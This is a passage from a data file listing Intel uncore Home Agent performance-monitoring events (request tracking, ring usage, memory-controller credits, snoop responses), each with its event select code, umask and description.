"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"HA.REQUESTS.INVITOE_LOCAL": {
"Box": "HA",
"Category": "HA TRACKER Events",
"Counters": "0-3",
"Defn": "Counts the total number of read requests made into the Home Agent. Reads include all read opcodes (including RFO). Writes include all writes (streaming, evictions, HitM, etc).",
"Desc": "Read and Write Requests",
"EvSel": 1,
"ExtSel": "",
"Umask": "bxxx1xxxx",
},
"HA.REQUESTS.INVITOE_REMOTE": {
"Box": "HA",
"Category": "HA TRACKER Events",
"Counters": "0-3",
"Defn": "Counts the total number of read requests made into the Home Agent. Reads include all read opcodes (including RFO). Writes include all writes (streaming, evictions, HitM, etc).",
"Desc": "Read and Write Requests",
"EvSel": 1,
"ExtSel": "",
"Umask": "bxx1xxxxx",
},
"HA.REQUESTS.WRITES": {
"Box": "HA",
"Category": "HA TRACKER Events",
"Counters": "0-3",
"Defn": "Counts the total number of read requests made into the Home Agent. Reads include all read opcodes (including RFO). Writes include all writes (streaming, evictions, HitM, etc).",
"Desc": "Read and Write Requests",
"EvSel": 1,
"ExtSel": "",
"Umask": "b00001100",
},
"HA.REQUESTS.READS": {
"Box": "HA",
"Category": "HA TRACKER Events",
"Counters": "0-3",
"Defn": "Counts the total number of read requests made into the Home Agent. Reads include all read opcodes (including RFO). Writes include all writes (streaming, evictions, HitM, etc).",
"Desc": "Read and Write Requests",
"EvSel": 1,
"ExtSel": "",
"Umask": "b00000011",
},
"HA.REQUESTS.WRITES_REMOTE": {
"Box": "HA",
"Category": "HA TRACKER Events",
"Counters": "0-3",
"Defn": "Counts the total number of read requests made into the Home Agent. Reads include all read opcodes (including RFO). Writes include all writes (streaming, evictions, HitM, etc).",
"Desc": "Read and Write Requests",
"EvSel": 1,
"ExtSel": "",
"Umask": "bxxxx1xxx",
},
"HA.REQUESTS.WRITES_LOCAL": {
"Box": "HA",
"Category": "HA TRACKER Events",
"Counters": "0-3",
"Defn": "Counts the total number of read requests made into the Home Agent. Reads include all read opcodes (including RFO). Writes include all writes (streaming, evictions, HitM, etc).",
"Desc": "Read and Write Requests",
"EvSel": 1,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"HA.REQUESTS.READS_REMOTE": {
"Box": "HA",
"Category": "HA TRACKER Events",
"Counters": "0-3",
"Defn": "Counts the total number of read requests made into the Home Agent. Reads include all read opcodes (including RFO). Writes include all writes (streaming, evictions, HitM, etc).",
"Desc": "Read and Write Requests",
"EvSel": 1,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"HA.RING_AD_USED": {
"Box": "HA",
"Category": "HA RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AD ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "HA AD Ring in Use",
"EvSel": 62,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
},
"HA.RING_AD_USED.CCW_ODD": {
"Box": "HA",
"Category": "HA RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AD ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "HA AD Ring in Use",
"EvSel": 62,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "bxxxx1xxx",
},
"HA.RING_AD_USED.CCW": {
"Box": "HA",
"Category": "HA RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AD ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "HA AD Ring in Use",
"EvSel": 62,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "b00001100",
},
"HA.RING_AD_USED.CCW_EVEN": {
"Box": "HA",
"Category": "HA RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AD ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "HA AD Ring in Use",
"EvSel": 62,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "bxxxxx1xx",
},
"HA.RING_AD_USED.CW_EVEN": {
"Box": "HA",
"Category": "HA RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AD ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "HA AD Ring in Use",
"EvSel": 62,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "bxxxxxxx1",
},
"HA.RING_AD_USED.CW": {
"Box": "HA",
"Category": "HA RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AD ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "HA AD Ring in Use",
"EvSel": 62,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "b00000011",
},
"HA.RING_AD_USED.CW_ODD": {
"Box": "HA",
"Category": "HA RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AD ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "HA AD Ring in Use",
"EvSel": 62,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "bxxxxxx1x",
},
"HA.RING_AK_USED": {
"Box": "HA",
"Category": "HA RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AK ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "HA AK Ring in Use",
"EvSel": 63,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
},
"HA.RING_AK_USED.CCW_ODD": {
"Box": "HA",
"Category": "HA RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AK ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "HA AK Ring in Use",
"EvSel": 63,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "bxxxx1xxx",
},
"HA.RING_AK_USED.CCW": {
"Box": "HA",
"Category": "HA RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AK ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "HA AK Ring in Use",
"EvSel": 63,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "b00001100",
},
"HA.RING_AK_USED.CCW_EVEN": {
"Box": "HA",
"Category": "HA RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AK ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "HA AK Ring in Use",
"EvSel": 63,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "bxxxxx1xx",
},
"HA.RING_AK_USED.CW": {
"Box": "HA",
"Category": "HA RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AK ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "HA AK Ring in Use",
"EvSel": 63,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "b00000011",
},
"HA.RING_AK_USED.CW_EVEN": {
"Box": "HA",
"Category": "HA RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AK ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "HA AK Ring in Use",
"EvSel": 63,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "bxxxxxxx1",
},
"HA.RING_AK_USED.CW_ODD": {
"Box": "HA",
"Category": "HA RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AK ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "HA AK Ring in Use",
"EvSel": 63,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "bxxxxxx1x",
},
"HA.RING_BL_USED": {
"Box": "HA",
"Category": "HA RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the BL ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "HA BL Ring in Use",
"EvSel": 64,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
},
"HA.RING_BL_USED.CCW_EVEN": {
"Box": "HA",
"Category": "HA RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the BL ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "HA BL Ring in Use",
"EvSel": 64,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "bxxxxx1xx",
},
"HA.RING_BL_USED.CW": {
"Box": "HA",
"Category": "HA RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the BL ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "HA BL Ring in Use",
"EvSel": 64,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "b00000011",
},
"HA.RING_BL_USED.CW_EVEN": {
"Box": "HA",
"Category": "HA RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the BL ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "HA BL Ring in Use",
"EvSel": 64,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "bxxxxxxx1",
},
"HA.RING_BL_USED.CW_ODD": {
"Box": "HA",
"Category": "HA RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the BL ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "HA BL Ring in Use",
"EvSel": 64,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "bxxxxxx1x",
},
"HA.RING_BL_USED.CCW_ODD": {
"Box": "HA",
"Category": "HA RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the BL ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "HA BL Ring in Use",
"EvSel": 64,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "bxxxx1xxx",
},
"HA.RING_BL_USED.CCW": {
"Box": "HA",
"Category": "HA RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the BL ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "HA BL Ring in Use",
"EvSel": 64,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "b00001100",
},
"HA.RPQ_CYCLES_NO_REG_CREDITS": {
"Box": "HA",
"Category": "HA RPQ_CREDITS Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles when there are no \"regular\" credits available for posting reads from the HA into the iMC. In order to send reads into the memory controller, the HA must first acquire a credit for the iMC's RPQ (read pending queue). This queue is broken into regular credits/buffers that are used by general reads, and \"special\" requests such as ISOCH reads. This count only tracks the regular credits Common high banwidth workloads should be able to make use of all of the regular buffers, but it will be difficult (and uncommon) to make use of both the regular and special buffers at the same time. One can filter based on the memory controller channel. One or more channels can be tracked at a given time.",
"Desc": "iMC RPQ Credits Empty - Regular",
"EvSel": 21,
"ExtSel": "",
"MaxIncCyc": 4,
},
"HA.RPQ_CYCLES_NO_REG_CREDITS.CHN3": {
"Box": "HA",
"Category": "HA RPQ_CREDITS Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles when there are no \"regular\" credits available for posting reads from the HA into the iMC. In order to send reads into the memory controller, the HA must first acquire a credit for the iMC's RPQ (read pending queue). This queue is broken into regular credits/buffers that are used by general reads, and \"special\" requests such as ISOCH reads. This count only tracks the regular credits Common high banwidth workloads should be able to make use of all of the regular buffers, but it will be difficult (and uncommon) to make use of both the regular and special buffers at the same time. One can filter based on the memory controller channel. One or more channels can be tracked at a given time.",
"Desc": "iMC RPQ Credits Empty - Regular",
"EvSel": 21,
"ExtSel": "",
"MaxIncCyc": 4,
"Umask": "b00001000",
},
"HA.RPQ_CYCLES_NO_REG_CREDITS.CHN1": {
"Box": "HA",
"Category": "HA RPQ_CREDITS Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles when there are no \"regular\" credits available for posting reads from the HA into the iMC. In order to send reads into the memory controller, the HA must first acquire a credit for the iMC's RPQ (read pending queue). This queue is broken into regular credits/buffers that are used by general reads, and \"special\" requests such as ISOCH reads. This count only tracks the regular credits Common high banwidth workloads should be able to make use of all of the regular buffers, but it will be difficult (and uncommon) to make use of both the regular and special buffers at the same time. One can filter based on the memory controller channel. One or more channels can be tracked at a given time.",
"Desc": "iMC RPQ Credits Empty - Regular",
"EvSel": 21,
"ExtSel": "",
"MaxIncCyc": 4,
"Umask": "b00000010",
},
"HA.RPQ_CYCLES_NO_REG_CREDITS.CHN0": {
"Box": "HA",
"Category": "HA RPQ_CREDITS Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles when there are no \"regular\" credits available for posting reads from the HA into the iMC. In order to send reads into the memory controller, the HA must first acquire a credit for the iMC's RPQ (read pending queue). This queue is broken into regular credits/buffers that are used by general reads, and \"special\" requests such as ISOCH reads. This count only tracks the regular credits Common high banwidth workloads should be able to make use of all of the regular buffers, but it will be difficult (and uncommon) to make use of both the regular and special buffers at the same time. One can filter based on the memory controller channel. One or more channels can be tracked at a given time.",
"Desc": "iMC RPQ Credits Empty - Regular",
"EvSel": 21,
"ExtSel": "",
"MaxIncCyc": 4,
"Umask": "b00000001",
},
"HA.RPQ_CYCLES_NO_REG_CREDITS.CHN2": {
"Box": "HA",
"Category": "HA RPQ_CREDITS Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles when there are no \"regular\" credits available for posting reads from the HA into the iMC. In order to send reads into the memory controller, the HA must first acquire a credit for the iMC's RPQ (read pending queue). This queue is broken into regular credits/buffers that are used by general reads, and \"special\" requests such as ISOCH reads. This count only tracks the regular credits Common high banwidth workloads should be able to make use of all of the regular buffers, but it will be difficult (and uncommon) to make use of both the regular and special buffers at the same time. One can filter based on the memory controller channel. One or more channels can be tracked at a given time.",
"Desc": "iMC RPQ Credits Empty - Regular",
"EvSel": 21,
"ExtSel": "",
"MaxIncCyc": 4,
"Umask": "b00000100",
},
"HA.SBO0_CREDITS_ACQUIRED": {
"Box": "HA",
"Category": "HA SBO Credit Events",
"Counters": "0-3",
"Defn": "Number of Sbo 0 credits acquired in a given cycle, per ring.",
"Desc": "SBo0 Credits Acquired",
"EvSel": 104,
"ExtSel": "",
},
"HA.SBO0_CREDITS_ACQUIRED.AD": {
"Box": "HA",
"Category": "HA SBO Credit Events",
"Counters": "0-3",
"Defn": "Number of Sbo 0 credits acquired in a given cycle, per ring.",
"Desc": "SBo0 Credits Acquired",
"EvSel": 104,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"HA.SBO0_CREDITS_ACQUIRED.BL": {
"Box": "HA",
"Category": "HA SBO Credit Events",
"Counters": "0-3",
"Defn": "Number of Sbo 0 credits acquired in a given cycle, per ring.",
"Desc": "SBo0 Credits Acquired",
"EvSel": 104,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"HA.SBO0_CREDIT_OCCUPANCY": {
"Box": "HA",
"Category": "HA SBO Credit Events",
"Counters": "0-3",
"Defn": "Number of Sbo 0 credits in use in a given cycle, per ring.",
"Desc": "SBo0 Credits Occupancy",
"EvSel": 106,
"ExtSel": "",
},
"HA.SBO0_CREDIT_OCCUPANCY.BL": {
"Box": "HA",
"Category": "HA SBO Credit Events",
"Counters": "0-3",
"Defn": "Number of Sbo 0 credits in use in a given cycle, per ring.",
"Desc": "SBo0 Credits Occupancy",
"EvSel": 106,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"HA.SBO0_CREDIT_OCCUPANCY.AD": {
"Box": "HA",
"Category": "HA SBO Credit Events",
"Counters": "0-3",
"Defn": "Number of Sbo 0 credits in use in a given cycle, per ring.",
"Desc": "SBo0 Credits Occupancy",
"EvSel": 106,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"HA.SBO1_CREDITS_ACQUIRED": {
"Box": "HA",
"Category": "HA SBO Credit Events",
"Counters": "0-3",
"Defn": "Number of Sbo 1 credits acquired in a given cycle, per ring.",
"Desc": "SBo1 Credits Acquired",
"EvSel": 105,
"ExtSel": "",
},
"HA.SBO1_CREDITS_ACQUIRED.BL": {
"Box": "HA",
"Category": "HA SBO Credit Events",
"Counters": "0-3",
"Defn": "Number of Sbo 1 credits acquired in a given cycle, per ring.",
"Desc": "SBo1 Credits Acquired",
"EvSel": 105,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"HA.SBO1_CREDITS_ACQUIRED.AD": {
"Box": "HA",
"Category": "HA SBO Credit Events",
"Counters": "0-3",
"Defn": "Number of Sbo 1 credits acquired in a given cycle, per ring.",
"Desc": "SBo1 Credits Acquired",
"EvSel": 105,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"HA.SBO1_CREDIT_OCCUPANCY": {
"Box": "HA",
"Category": "HA SBO Credit Events",
"Counters": "0-3",
"Defn": "Number of Sbo 1 credits in use in a given cycle, per ring.",
"Desc": "SBo1 Credits Occupancy",
"EvSel": 107,
"ExtSel": "",
},
"HA.SBO1_CREDIT_OCCUPANCY.AD": {
"Box": "HA",
"Category": "HA SBO Credit Events",
"Counters": "0-3",
"Defn": "Number of Sbo 1 credits in use in a given cycle, per ring.",
"Desc": "SBo1 Credits Occupancy",
"EvSel": 107,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"HA.SBO1_CREDIT_OCCUPANCY.BL": {
"Box": "HA",
"Category": "HA SBO Credit Events",
"Counters": "0-3",
"Defn": "Number of Sbo 1 credits in use in a given cycle, per ring.",
"Desc": "SBo1 Credits Occupancy",
"EvSel": 107,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"HA.SNOOPS_RSP_AFTER_DATA": {
"Box": "HA",
"Category": "HA SNOOPS Events",
"Counters": "0-3",
"Defn": "Counts the number of reads when the snoop was on the critical path to the data return.",
"Desc": "Data beat the Snoop Responses",
"EvSel": 10,
"ExtSel": "",
"MaxIncCyc": 127,
},
"HA.SNOOPS_RSP_AFTER_DATA.LOCAL": {
"Box": "HA",
"Category": "HA SNOOPS Events",
"Counters": "0-3",
"Defn": "Counts the number of reads when the snoop was on the critical path to the data return.",
"Desc": "Data beat the Snoop Responses",
"EvSel": 10,
"ExtSel": "",
"MaxIncCyc": 127,
"Umask": "b00000001",
},
"HA.SNOOPS_RSP_AFTER_DATA.REMOTE": {
"Box": "HA",
"Category": "HA SNOOPS Events",
"Counters": "0-3",
"Defn": "Counts the number of reads when the snoop was on the critical path to the data return.",
"Desc": "Data beat the Snoop Responses",
"EvSel": 10,
"ExtSel": "",
"MaxIncCyc": 127,
"Umask": "b00000010",
},
"HA.SNOOP_CYCLES_NE": {
"Box": "HA",
"Category": "HA SNOOPS Events",
"Counters": "0-3",
"Defn": "Counts cycles when one or more snoops are outstanding.",
"Desc": "Cycles with Snoops Outstanding",
"EvSel": 8,
"ExtSel": "",
},
"HA.SNOOP_CYCLES_NE.LOCAL": {
"Box": "HA",
"Category": "HA SNOOPS Events",
"Counters": "0-3",
"Defn": "Counts cycles when one or more snoops are outstanding.",
"Desc": "Cycles with Snoops Outstanding",
"EvSel": 8,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"HA.SNOOP_CYCLES_NE.REMOTE": {
"Box": "HA",
"Category": "HA SNOOPS Events",
"Counters": "0-3",
"Defn": "Counts cycles when one or more snoops are outstanding.",
"Desc": "Cycles with Snoops Outstanding",
"EvSel": 8,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"HA.SNOOP_CYCLES_NE.ALL": {
"Box": "HA",
"Category": "HA SNOOPS Events",
"Counters": "0-3",
"Defn": "Counts cycles when one or more snoops are outstanding.",
"Desc": "Cycles with Snoops Outstanding",
"EvSel": 8,
"ExtSel": "",
"Umask": "b00000011",
},
"HA.SNOOP_OCCUPANCY": {
"Box": "HA",
"Category": "HA SNOOPS Events",
"Counters": "0-3",
"Defn": "Accumulates the occupancy of either the local HA tracker pool that have snoops pending in every cycle. This can be used in conjection with the \"not empty\" stat to calculate average queue occupancy or the \"allocations\" stat in order to calculate average queue latency. HA trackers are allocated as soon as a request enters the HA if an HT (HomeTracker) entry is available and this occupancy is decremented when all the snoop responses have returned.",
"Desc": "Tracker Snoops Outstanding Accumulator",
"EvSel": 9,
"ExtSel": "",
"MaxIncCyc": 127,
"SubCtr": 1,
},
"HA.SNOOP_OCCUPANCY.LOCAL": {
"Box": "HA",
"Category": "HA SNOOPS Events",
"Counters": "0-3",
"Defn": "Accumulates the occupancy of either the local HA tracker pool that have snoops pending in every cycle. This can be used in conjection with the \"not empty\" stat to calculate average queue occupancy or the \"allocations\" stat in order to calculate average queue latency. HA trackers are allocated as soon as a request enters the HA if an HT (HomeTracker) entry is available and this occupancy is decremented when all the snoop responses have returned.",
"Desc": "Tracker Snoops Outstanding Accumulator",
"EvSel": 9,
"ExtSel": "",
"MaxIncCyc": 127,
"SubCtr": 1,
"Umask": "b00000001",
},
"HA.SNOOP_OCCUPANCY.REMOTE": {
"Box": "HA",
"Category": "HA SNOOPS Events",
"Counters": "0-3",
"Defn": "Accumulates the occupancy of either the local HA tracker pool that have snoops pending in every cycle. This can be used in conjection with the \"not empty\" stat to calculate average queue occupancy or the \"allocations\" stat in order to calculate average queue latency. HA trackers are allocated as soon as a request enters the HA if an HT (HomeTracker) entry is available and this occupancy is decremented when all the snoop responses have returned.",
"Desc": "Tracker Snoops Outstanding Accumulator",
"EvSel": 9,
"ExtSel": "",
"MaxIncCyc": 127,
"SubCtr": 1,
"Umask": "b00000010",
},
"HA.SNOOP_RESP": {
"Box": "HA",
"Category": "HA SNP_RESP Events",
"Counters": "0-3",
"Defn": "Counts the total number of RspI snoop responses received. Whenever a snoops are issued, one or more snoop responses will be returned depending on the topology of the system. In systems larger than 2s, when multiple snoops are returned this will count all the snoops that are received. For example, if 3 snoops were issued and returned RspI, RspS, and RspSFwd; then each of these sub-events would increment by 1.",
"Desc": "Snoop Responses Received",
"EvSel": 33,
"ExtSel": "",
},
"HA.SNOOP_RESP.RSPI": {
"Box": "HA",
"Category": "HA SNP_RESP Events",
"Counters": "0-3",
"Defn": "Counts the total number of RspI snoop responses received. Whenever a snoops are issued, one or more snoop responses will be returned depending on the topology of the system. In systems larger than 2s, when multiple snoops are returned this will count all the snoops that are received. For example, if 3 snoops were issued and returned RspI, RspS, and RspSFwd; then each of these sub-events would increment by 1.",
"Desc": "Snoop Responses Received",
"EvSel": 33,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"HA.SNOOP_RESP.RSPS": {
"Box": "HA",
"Category": "HA SNP_RESP Events",
"Counters": "0-3",
"Defn": "Counts the total number of RspI snoop responses received. Whenever a snoops are issued, one or more snoop responses will be returned depending on the topology of the system. In systems larger than 2s, when multiple snoops are returned this will count all the snoops that are received. For example, if 3 snoops were issued and returned RspI, RspS, and RspSFwd; then each of these sub-events would increment by 1.",
"Desc": "Snoop Responses Received",
"EvSel": 33,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"HA.SNOOP_RESP.RSPSFWD": {
"Box": "HA",
"Category": "HA SNP_RESP Events",
"Counters": "0-3",
"Defn": "Counts the total number of RspI snoop responses received. Whenever a snoops are issued, one or more snoop responses will be returned depending on the topology of the system. In systems larger than 2s, when multiple snoops are returned this will count all the snoops that are received. For example, if 3 snoops were issued and returned RspI, RspS, and RspSFwd; then each of these sub-events would increment by 1.",
"Desc": "Snoop Responses Received",
"EvSel": 33,
"ExtSel": "",
"Umask": "bxxxx1xxx",
},
"HA.SNOOP_RESP.RSPCNFLCT": {
"Box": "HA",
"Category": "HA SNP_RESP Events",
"Counters": "0-3",
"Defn": "Counts the total number of RspI snoop responses received. Whenever a snoops are issued, one or more snoop responses will be returned depending on the topology of the system. In systems larger than 2s, when multiple snoops are returned this will count all the snoops that are received. For example, if 3 snoops were issued and returned RspI, RspS, and RspSFwd; then each of these sub-events would increment by 1.",
"Desc": "Snoop Responses Received",
"EvSel": 33,
"ExtSel": "",
"Umask": "bx1xxxxxx",
},
"HA.SNOOP_RESP.RSPIFWD": {
"Box": "HA",
"Category": "HA SNP_RESP Events",
"Counters": "0-3",
"Defn": "Counts the total number of RspI snoop responses received. Whenever a snoops are issued, one or more snoop responses will be returned depending on the topology of the system. In systems larger than 2s, when multiple snoops are returned this will count all the snoops that are received. For example, if 3 snoops were issued and returned RspI, RspS, and RspSFwd; then each of these sub-events would increment by 1.",
"Desc": "Snoop Responses Received",
"EvSel": 33,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"HA.SNOOP_RESP.RSP_FWD_WB": {
"Box": "HA",
"Category": "HA SNP_RESP Events",
"Counters": "0-3",
"Defn": "Counts the total number of RspI snoop responses received. Whenever a snoops are issued, one or more snoop responses will be returned depending on the topology of the system. In systems larger than 2s, when multiple snoops are returned this will count all the snoops that are received. For example, if 3 snoops were issued and returned RspI, RspS, and RspSFwd; then each of these sub-events would increment by 1.",
"Desc": "Snoop Responses Received",
"EvSel": 33,
"ExtSel": "",
"Umask": "bxx1xxxxx",
},
"HA.SNOOP_RESP.RSP_WB": {
"Box": "HA",
"Category": "HA SNP_RESP Events",
"Counters": "0-3",
"Defn": "Counts the total number of RspI snoop responses received. Whenever a snoops are issued, one or more snoop responses will be returned depending on the topology of the system. In systems larger than 2s, when multiple snoops are returned this will count all the snoops that are received. For example, if 3 snoops were issued and returned RspI, RspS, and RspSFwd; then each of these sub-events would increment by 1.",
"Desc": "Snoop Responses Received",
"EvSel": 33,
"ExtSel": "",
"Umask": "bxxx1xxxx",
},
"HA.SNP_RESP_RECV_LOCAL": {
"Box": "HA",
"Category": "HA SNP_RESP Events",
"Counters": "0-3",
"Defn": "Number of snoop responses received for a Local request",
"Desc": "Snoop Responses Received Local",
"EvSel": 96,
"ExtSel": "",
},
"HA.SNP_RESP_RECV_LOCAL.RSPxFWDxWB": {
"Box": "HA",
"Category": "HA SNP_RESP Events",
"Counters": "0-3",
"Defn": "Number of snoop responses received for a Local request",
"Desc": "Snoop Responses Received Local",
"EvSel": 96,
"ExtSel": "",
"Umask": "bxx1xxxxx",
},
"HA.SNP_RESP_RECV_LOCAL.RSPIFWD": {
"Box": "HA",
"Category": "HA SNP_RESP Events",
"Counters": "0-3",
"Defn": "Number of snoop responses received for a Local request",
"Desc": "Snoop Responses Received Local",
"EvSel": 96,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"HA.SNP_RESP_RECV_LOCAL.RSPCNFLCT": {
"Box": "HA",
"Category": "HA SNP_RESP Events",
"Counters": "0-3",
"Defn": "Number of snoop responses received for a Local request",
"Desc": "Snoop Responses Received Local",
"EvSel": 96,
"ExtSel": "",
"Umask": "bx1xxxxxx",
},
"HA.SNP_RESP_RECV_LOCAL.OTHER": {
"Box": "HA",
"Category": "HA SNP_RESP Events",
"Counters": "0-3",
"Defn": "Number of snoop responses received for a Local request",
"Desc": "Snoop Responses Received Local",
"EvSel": 96,
"ExtSel": "",
"Umask": "b1xxxxxxx",
},
"HA.SNP_RESP_RECV_LOCAL.RSPSFWD": {
"Box": "HA",
"Category": "HA SNP_RESP Events",
"Counters": "0-3",
"Defn": "Number of snoop responses received for a Local request",
"Desc": "Snoop Responses Received Local",
"EvSel": 96,
"ExtSel": "",
"Umask": "bxxxx1xxx",
},
"HA.SNP_RESP_RECV_LOCAL.RSPxWB": {
"Box": "HA",
"Category": "HA SNP_RESP Events",
"Counters": "0-3",
"Defn": "Number of snoop responses received for a Local request",
"Desc": "Snoop Responses Received Local",
"EvSel": 96,
"ExtSel": "",
"Umask": "bxxx1xxxx",
},
"HA.SNP_RESP_RECV_LOCAL.RSPS": {
"Box": "HA",
"Category": "HA SNP_RESP Events",
"Counters": "0-3",
"Defn": "Number of snoop responses received for a Local request",
"Desc": "Snoop Responses Received Local",
"EvSel": 96,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"HA.SNP_RESP_RECV_LOCAL.RSPI": {
"Box": "HA",
"Category": "HA SNP_RESP Events",
"Counters": "0-3",
"Defn": "Number of snoop responses received for a Local request",
"Desc": "Snoop Responses Received Local",
"EvSel": 96,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
